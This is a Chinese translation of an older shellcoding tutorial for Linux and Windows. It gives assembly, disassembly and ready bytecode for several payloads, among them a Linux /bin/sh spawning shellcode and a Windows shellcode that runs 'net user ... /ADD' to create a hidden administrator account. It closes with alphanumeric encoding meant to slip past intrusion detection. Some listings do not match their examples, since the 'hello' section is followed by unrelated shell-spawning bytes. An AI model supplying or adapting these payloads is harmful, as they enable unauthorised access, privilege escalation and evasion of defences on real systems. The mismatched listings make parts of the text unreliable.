Shellcoding for Linux and Windows Tutorial
几年前的老文章 看到顺便翻译了一下文中所有资源都可以在原文地址中取得:)
http://www.vividmachines.com/shellcode/shellcode.html
背景知识:
1.EAX,EBX,ECX,EDX等所有基于x86平台的32位通用寄存器
2.AH,BH,CH,DH等是通用寄存器的高16位
3.AL,BL,CL,DL等是通用寄存器的低16位
4.ESI和EDI寄存器是用来执行Linux系统调用的通用寄存器
5.XOR EAX,EAX是最快将寄存器置为0的方法
6.在windows下,所有函数参数都是通过栈来传递的
工具需求:gcc
ld
nasm
objdump
可选工具:odfhex.c:一款作者开发的,从“objdump -d”中提取出shellcode并且将它转换成不被检测的十六进制代码
arwin.c:一款作者开发的,通过特定DLL用来找到windows下函数的绝对地址的工具
shellcodetest.c:一个测试shellcode的小工具
exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm 文中源码(在Windows XP SP1下写成)
Linux Shellcoding
当我们要测试shellcode时,最好把它放在程序里让它跑起来。这个C程序将被用来测试我们所有的代码
<pre name="code" class="cpp"><span style="font-family: SimSun;">/*shellcodetest.c*/</span>
<span style="font-family: SimSun;">char code[] = "bytecode will go here!";</span>
<span style="font-family: SimSun;">int main(int argc, char **argv)</span>
<span style="font-family: SimSun;">{ </span>
<span style="font-family: SimSun;"><span> </span>int (*func)(); </span>
<span style="font-family: SimSun;"><span> </span>func = (int (*)()) code; </span>
<span style="font-family: SimSun;"><span> </span>(int)(*func)();</span>
<span style="font-family: SimSun;">}</span>
例1:快速退出
用exit做shellcode示例是最好不过了,因为它很简单。
下面是一些用来调用exit函数的简单汇编代码。
请注意al和XOR操作都是为了保证我们的代码里没有NULL符号。
<span style="font-family: SimSun;">;exit.asm [SECTION .text] global _start _start: xor eax, eax ;exit is syscall 1 mov al, 1 ;exit is syscall 1 xor ebx,ebx ;zero out ebx int 0x80 </span>
通过下面几步来编译和提取这段代码:
<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf exit.asm steve hanna@1337b0x:~$ ld -o exiter exit.o steve hanna@1337b0x:~$ objdump -d exiter</span>
反汇编结果如下:
<span style="font-family: SimSun;">08048080 <_start>: 8048080: b0 01 mov $0x1,%al 8048082: 31 db xor %ebx,%ebx 8048084: cd 80 int $0x80</span>
可以看到我们需要的字节是:
<span style="font-family: SimSun;">b0 01 31 db cd 80</span>
用这些字节重写上面的程序:
<span style="font-family: SimSun;">char code[] = "\xb0\x01\x31\xdb\xcd\x80";</span>
现在运行程序。
我们可以看到我们已经有了一段shellcode了 你可以调试以确保程序确实调用了exit函数。
例2:Saying Hello
这个例子中,我们将讲一些更为有用的东西。
在这段代码中,我们将会看到如何在程序运行时如何找到字符串的地址。
这是非常重要的一点,因为在运行shellcode通常是在一个未知的环境下,shellcode的地址通常也是未知的因为它不
总是运行在一段相同的地址空间中。
<span style="font-family: SimSun;">;hello.asm [SECTION .text] global _start _start: jmp short ender starter: xor eax, eax ;clean up the registers xor ebx, ebx xor edx, edx xor ecx, ecx mov al, 4 ;syscall write mov bl, 1 ;stdout is 1 pop ecx ;get the address of the string from the stack mov dl, 5 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter ;put the address of the string on the stack db 'hello'</span>
编译:
<span style="font-family: SimSun;">steve hanna@1337b0x:~$ nasm -f elf hello.asm steve hanna@1337b0x:~$ ld -o hello hello.o steve hanna@1337b0x:~$ objdump -d hello</span>
反汇编:
<span style="font-family: SimSun;">Disassembly of section .text: 08048080 <_start>: 8048080: eb 19 jmp 804809b 08048082 <starter>: 8048082: 31 c0 xor %eax,%eax 8048084: 31 db xor %ebx,%ebx 8048086: 31 d2 xor %edx,%edx 8048088: 31 c9 xor %ecx,%ecx 804808a: b0 04 mov $0x4,%al 804808c: b3 01 mov $0x1,%bl 804808e: 59 pop %ecx 804808f: b2 05 mov $0x5,%dl 8048091: cd 80 int $0x80 8048093: 31 c0 xor %eax,%eax 8048095: b0 01 mov $0x1,%al 8048097: 31 db xor %ebx,%ebx 8048099: cd 80 int $0x80 0804809b <ender>: 804809b: e8 e2 ff ff ff call 8048082 80480a0: 68 65 6c 6c 6f push $0x6f6c6c65</span>
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\ "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\ "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\ "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\ "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
这段代码基本提供了一个好的shellcode所拥有的特质,它是一段充分展示了写shellcode技巧的代码。但是注意,shellcode最好由汇编代码写成。
<span style="font-family: SimSun;">the better one is at assembly, the more functional, robust,and most of all evil, one's code will be.</span>
Windows Shellcoding
例1:Sleep is for the Weak
为了写出成功的shellcode,我们应该先确定我们要使用的函数以及该函数所在的绝对地址。比如我们只想要一个线程去sleep一段时间。我们先准备好arwin然后就可以开始了(arwin在上面可以找到)。记住,唯一一个保证进入进程空间的模块是kernel32.dll。所以在这个例子里,sleep看起来像是最简单的函数,仅仅需要接收一个时间参数,线程便会挂起与之相应的时间。
<span style="font-family: SimSun;">G:\> arwin kernel32.dll Sleep arwin - win32 address resolution program - by steve hanna - v.01 Sleep is located at 0x77e61bea in kernel32.dll</span>
<span style="font-family: SimSun;">;sleep.asm [SECTION .text] global _start _start: xor eax,eax mov ebx, 0x77e61bea ;address of Sleep mov ax, 5000 ;pause for 5000ms push eax call ebx ;Sleep(ms); ``` ``` steve hanna@1337b0x:~$ nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep sleep: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: bb ea 1b e6 77 mov $0x77e61bea,%ebx 8048087: 66 b8 88 13 mov $0x1388,%ax 804808b: 50 push %eax 804808c: ff d3 call *%ebx</span>
提取字符替换之后Replace the code at the top with:
<span style="font-family: SimSun;">char code[] = "\x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";</span>
当段代码被插入到进程中时它会使主线程挂起五秒钟。(注意:这可能让你的电脑崩溃因为你的堆栈正好在这时爆了:D)
例2:A Message to say "Hey"
第二个例子事实上很有用处,因为他将会展示你利用shellcode所能做的事情。尽管这个例子并不会弹出一个对话框然后对你说hey,但是它展示了绝对地址与使用了LoadLibrary和GetProAddress的相对地址。我们将要使用的库函数有LoadLibraryA,GetProcAddress,MessageBoxA和ExitProcess。(注意:库函数之后的A代表我们使用的是正常的字符集,对应的,我们使用字母W来表示我们使用了一个更为庞大的字符集,比如说unicode)。让我们准备好arwin然后找到我们需要使用的地址。我们不会去检索MessageBoxA函数的地址,我们将会动态地去加载这个函数的地址。
<span style="font-family: SimSun;">> G:\>arwin kernel32.dll LoadLibraryA arwin - win32 address resolution program - by steve hanna - v.01 LoadLibraryA is located at 0x77e7d961 in kernel32.dll G:\>arwin kernel32.dll GetProcAddress arwin - win32 address resolution program - by steve hanna - v.01 GetProcAddress is located at 0x77e7b332 in kernel32.dll G:\>arwin kernel32.dll ExitProcess arwin - win32 address resolution program - by steve hanna - v.01 ExitProcess is located at 0x77e798fd in kernel32.dll</span>
;msgbox.asm [SECTION .text] global _start _start: ;eax holds return value ;ebx will hold function addresses ;ecx will hold string pointers ;edx will hold NULL xor eax,eax xor ebx,ebx ;zero out the registers xor ecx,ecx xor edx,edx jmp short GetLibrary LibraryReturn: pop ecx ;get the library string mov [ecx + 10], dl ;insert NULL mov ebx, 0x77e7d961 ;LoadLibraryA(libraryname); push ecx ;beginning of user32.dll call ebx ;eax will hold the module handle jmp short FunctionName FunctionReturn: pop ecx ;get the address of the Function string xor edx,edx mov [ecx + 11],dl ;insert NULL push ecx push eax mov ebx, 0x77e7b332 ;GetProcAddress(hmodule,functionname); call ebx ;eax now holds the address of MessageBoxA jmp short Message MessageReturn: pop ecx ;get the message string xor edx,edx mov [ecx+3],dl ;insert the NULL xor edx,edx push edx ;MB_OK push ecx ;title push ecx ;message push edx ;NULL window handle call eax ;MessageBoxA(windowhandle,msg,title,type); Address ender: xor edx,edx push eax mov eax, 0x77e798fd ;exitprocess(exitcode); call eax ;exit cleanly so we don't crash the parent program ;the N at the end of each string signifies the location of the NULL ;character that needs to be inserted GetLibrary: call LibraryReturn db 'user32.dllN' FunctionName call FunctionReturn db 'MessageBoxAN' Message call MessageReturn db 'HeyN'
char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\ "\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\ "\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\ "\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\ "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\ "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\ "\xff\x48\x65\x79\x4e";
在这个例子里,我们只是弹了个窗,这阐述了当我们在利用Windows shellcode的时候的几个重要的概念。静态地址在大多数例子中可以作为一个简单暴力的方法,让shellcode在几分钟之内就运行起来。这个例子说明了我们证明了几个特定的DLL确实会进入到进程空间当中去。一旦MessageBoxA函数被关联到ExitProcess时,ExitProcess就会被调用来确保程序正常的结束了(而不是crash了)
例3 Adding an Administrative Account
第三个例子实际上比前几个shellcode要简单一些,但是它可以让入侵者成功地在远程系统上添加一个用户,并且给这个用户管理员特权。这段代码不需要加载什么额外的库进入到进程空间里因为需要被我们调用的函数只有WinExec和ExitProcess。(注意:这段shellcode的灵感是从Metasploit项目中得来的。它们二者之间的不同在于本文中的代码比它的朋友们精简多了,而且加入你移除了ExitProcess函数的话,它还可以变得更小!)
<span style="font-family: SimSun;">G:\>arwin kernel32.dll ExitProcess arwin - win32 address resolution program - by steve hanna - v.01 ExitProcess is located at 0x77e798fd in kernel32.dll G:\>arwin kernel32.dll WinExec arwin - win32 address resolution program - by steve hanna - v.01 WinExec is located at 0x77e6fd35 in kernel32.dll</span>
<span style="font-family: SimSun;">;adduser.asm [Section .text] global _start _start: jmp short GetCommand CommandReturn: pop ebx ;ebx now holds the handle to the string xor eax,eax push eax xor eax,eax ;for some reason the registers can be very volatile, did this just in case mov [ebx + 89],al ;insert the NULL character push ebx mov ebx,0x77e6fd35 call ebx ;call WinExec(path,showcode) xor eax,eax ;zero the register again, clears winexec retval push eax mov ebx, 0x77e798fd call ebx ;call ExitProcess(0);</span>
<span style="font-family: SimSun;">GetCommand: ;the N at the end of the db will be replaced with a null character call CommandReturn db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN" steve hanna@1337b0x:~$ nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser adduser: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 1b jmp 804809d 08048082 : 8048082: 5b pop %ebx 8048083: 31 c0 xor %eax,%eax 8048085: 50 push %eax 8048086: 31 c0 xor %eax,%eax 8048088: 88 43 59 mov %al,0x59(%ebx) 804808b: 53 push %ebx 804808c: bb 35 fd e6 77 mov $0x77e6fd35,%ebx 8048091: ff d3 call *%ebx 8048093: 31 c0 xor %eax,%eax 8048095: 50 push %eax 8048096: bb fd 98 e7 77 mov $0x77e798fd,%ebx 804809b: ff d3 call *%ebx 0804809d : 804809d: e8 e0 ff ff ff call 8048082 80480a2: 63 6d 64 arpl %bp,0x64(%ebp) 80480a5: 2e cs 80480a6: 65 gs 80480a7: 78 65 js 804810e 80480a9: 20 2f and %ch,(%edi) 80480ab: 63 20 arpl %sp,(%eax) 80480ad: 6e outsb %ds:(%esi),(%dx) 80480ae: 65 gs 80480af: 74 20 je 80480d1 80480b1: 75 73 jne 8048126 80480b3: 65 gs 80480b4: 72 20 jb 80480d6 80480b6: 55 push %ebp 80480b7: 53 push %ebx 80480b8: 45 inc %ebp 80480b9: 52 push %edx 80480ba: 4e dec %esi 80480bb: 41 inc %ecx 80480bc: 4d dec %ebp 80480bd: 45 inc %ebp 80480be: 20 50 41 and %dl,0x41(%eax) 80480c1: 53 push %ebx 80480c2: 53 push %ebx 80480c3: 57 push %edi 80480c4: 4f dec %edi 80480c5: 52 push %edx 80480c6: 44 inc %esp 80480c7: 20 2f and %ch,(%edi) 80480c9: 41 inc %ecx 80480ca: 44 inc %esp 80480cb: 44 inc %esp 80480cc: 20 26 and %ah,(%esi) 80480ce: 26 20 6e 65 and %ch,%es:0x65(%esi) 80480d2: 74 20 je 80480f4 80480d4: 6c insb (%dx),%es:(%edi) 80480d5: 6f outsl %ds:(%esi),(%dx) 80480d6: 63 61 6c arpl %sp,0x6c(%ecx) 80480d9: 67 72 6f addr16 jb 804814b 80480dc: 75 70 jne 804814e 80480de: 20 41 64 and %al,0x64(%ecx) 80480e1: 6d insl (%dx),%es:(%edi) 80480e2: 69 6e 69 73 74 72 61 imul $0x61727473,0x69(%esi),%ebp 80480e9: 74 6f je 804815a 80480eb: 72 73 jb 8048160 80480ed: 20 2f and %ch,(%edi) 80480ef: 41 inc %ecx 80480f0: 44 inc %esp 80480f1: 44 inc %esp 80480f2: 20 55 53 and %dl,0x53(%ebp) 80480f5: 45 inc %ebp 80480f6: 52 push %edx 80480f7: 4e dec %esi 80480f8: 41 inc %ecx 80480f9: 4d dec %ebp 80480fa: 45 inc %ebp 80480fb: 4e dec %esi</span>
替换字符串之后:
<span style="font-family: SimSun;">char code[] = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\ "\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\ "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\ "\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\ "\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\ "\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\ "\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\ "\x4e\x41\x4d\x45\x4e";</span>
printable shellcode
这部分的主题如下:事实上,很多的IDS(Instrustion Detection Systems,即入侵检测系统)可以检测到shellcode,因为这些无法打印的字符在二进制数据里实在是太常见了。如果IDS发现一个包中有太多的NOP和代码,那么它们就倾向于丢掉这个包。更有甚者,将所有非字母数字(alpha-numeric)都给过滤了。这样一来,我们使用可打印的字母数字来编写shellcode的目的已经非常明显了。我们可以实现一个方法,将我们的shellcode块藏在可以打印的字符中。这个部分可能和文中之前的例子有所不同。我们将通过几个具有战略性的小例子来说明这一切
我们的第一步就是要讨论如何混淆我们的一长串NOP。因为当IDS检测到一长串的NOP(0x90)时,它总是倾向于把这个包给丢掉。为了让我们的代码变得更难以检测,我们必须对代码进行一些删减:
OP Code Hex ASCII inc eax 0x40 @ inc ebx 0x43 C inc ecx 0x41 A inc edx 0x42 B dec eax 0x48 H dec ebx 0x4B K dec ecx 0x49 I dec edx 0x4A J
sub eax, 0xHEXINRANGE push eax pop eax push esp pop esp and eax, 0xHEXINRANGE
The plan works as follows: -make space on stack for shellcode and loader -execute loader code to construct shellcode -use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code. -profit
The log awaited ASCII diagram 1) EIP(loader code) --------ALLOCATED STACK SPACE--------ESP 2) ---(loader code)---EIP-------STACK------ESP--(shellcode-- 3) ----loadercode---EIP@ESP----shellcode that was builts---